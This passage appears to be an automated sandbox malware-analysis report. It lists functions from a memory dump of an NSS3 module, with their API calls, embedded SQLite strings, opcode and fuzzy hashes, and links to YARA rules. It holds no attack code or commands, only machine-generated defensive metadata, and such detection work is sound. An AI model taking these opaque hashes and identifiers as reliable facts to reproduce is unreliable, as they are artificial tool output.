API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

out of memory, xrefs: 6C73835B
BINARY, xrefs: 6C738126

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45
Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A
winUnlockReadLock, xrefs: 6C5EAE9F
winUnlock, xrefs: 6C5EAE18
pvl, xrefs: 6C5EADA7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082
h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0vl, xrefs: 6C5E4EDE, 6C5E4F82
Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5
winUnlockReadLock, xrefs: 6C5E5125
pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C5E702B
*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070
sz=[0-9]*, xrefs: 6C5E7049
noskipscan*, xrefs: 6C5E7067

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C60460F
sqlite_, xrefs: 6C603FAA, 6C604185
sqlite_master, xrefs: 6C60463F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
